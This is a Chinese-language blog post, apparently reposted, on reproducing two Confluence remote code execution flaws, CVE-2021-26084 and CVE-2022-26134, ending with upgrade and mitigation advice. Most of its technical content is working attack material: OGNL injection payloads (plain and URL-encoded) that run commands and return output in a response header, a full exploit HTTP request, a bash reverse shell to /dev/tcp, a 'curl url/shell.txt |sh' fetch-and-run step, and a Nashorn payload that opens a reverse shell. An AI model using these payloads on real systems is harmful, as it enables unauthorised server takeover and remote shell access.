confluence的几个高危漏洞复现
Posted fly夏天
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了confluence的几个高危漏洞复现相关的知识,希望对你有一定的参考价值。
序言
本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试。
1.CVE-2021-26084 Confluence OGNL 注入漏洞
1.1 漏洞描述
在某些情况下,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,通过构造恶意数据执行 OGNL 表达式进行注入攻击,实现在 Confluence Server 或 Data Center 上执行任意代码,最终控制服务器。
1.2 漏洞版本
Confluence Server & Confluence Data Center < 6.13.23 6.13.23
Confluence Server & Confluence Data Center < 7.11.6 7.11.6
Confluence Server & Confluence Data Center < 7.12.5 7.12.5
Confluence Server & Confluence Data Center < 7.4.11 7.4.11
1.3 漏洞复现
一般情况下,confluence会在登录页直接显示当前版本,所以我们可以访问url/login.action这个页面查看版本。
漏洞利用脚本可以参考 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
后面的演示会通过这个脚本来执行,执行python CVE-2021-26084.py -u url
,如果漏洞存在就可以执行命令了。我们尝试一下whoami
可以看到漏洞就被成功执行了,至此这个漏洞的基本复现就完成了, 接下来我们来尝试提权。
1.4 获取主机权限
一般情况下 我们可以直接通过反弹shell的方式来获取主机权限
bash -i >& /dev/tcp/ip/port 0>&1
但是confluence的命令执行 部分字符会被url转义,所以直接在控制台反弹shell会直接报错
我们可以通过远程执行文件内容的方式来反弹shell
curl url/shell.txt |sh
其中,shell.txt为自己服务器上的一个文件,内容就是上文中的反弹时shell,直接执行这个操作,就能正常的反弹shell了。
2.CVE-2022-26134
2.1 漏洞描述
远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。
2.2 漏洞版本
Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1
2.3 漏洞复现
构造请求
/$(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))/
其中exec中的内容为需要执行的命令,结果会返回在header的X-Cmd-Response中
至此漏洞利用成功
2.4 提权
构造
/$new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")/
即可反弹shell
Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)复现
Confluence介绍
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
漏洞概述
Atlassian Confluence存在远程代码执行漏洞,攻击者可以利用该漏洞直接获取目标系统权限。
2022年6月2日,Atlassian发布安全公告,公布了一个Confluence Server和Data Center中的远程代码执行漏洞。
漏洞编号:CVE-2022-26134
漏洞威胁等级:严重
版本范围:
Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1
漏洞评估及状态
公开程度:已发现在野利用
漏洞POC:已知
漏洞EXP:存在
利用条件:无
漏洞危害:高危 任意代码执行
漏洞复现
搭建环境:
atlassian下载地址
https://www.atlassian.com/zh/software/confluence/download-archives
这里选择7.4.4版本
安装
安装完成
利用脚本进行命令执行
脚本地址
https://github.com/Nwqda/CVE-2022-26134
执行ls命令
手动复现
测试poc
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
POC数据包
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.232.130:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close
命令的结果将反映在X-Cmd-Response响应头中的参数中
id
$(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))/
ls
$(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“ls”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))/
修复方案
1、升级最新版本:
官方已发布最新版本,建议用户升级Confluence到官方最新版本 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1,以保证服务的安全性及稳定性。
下载地址:https://www.atlassian.com/software/confluence/download-archives
2、临时缓解方案:
如无法立即进行升级,可通过下载Atlassian官方jar包替换的方式作为临时缓解措施,Atlassian根据客户的Confluence版本提供了临时解决方法说明。
参考链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
以上是关于confluence的几个高危漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章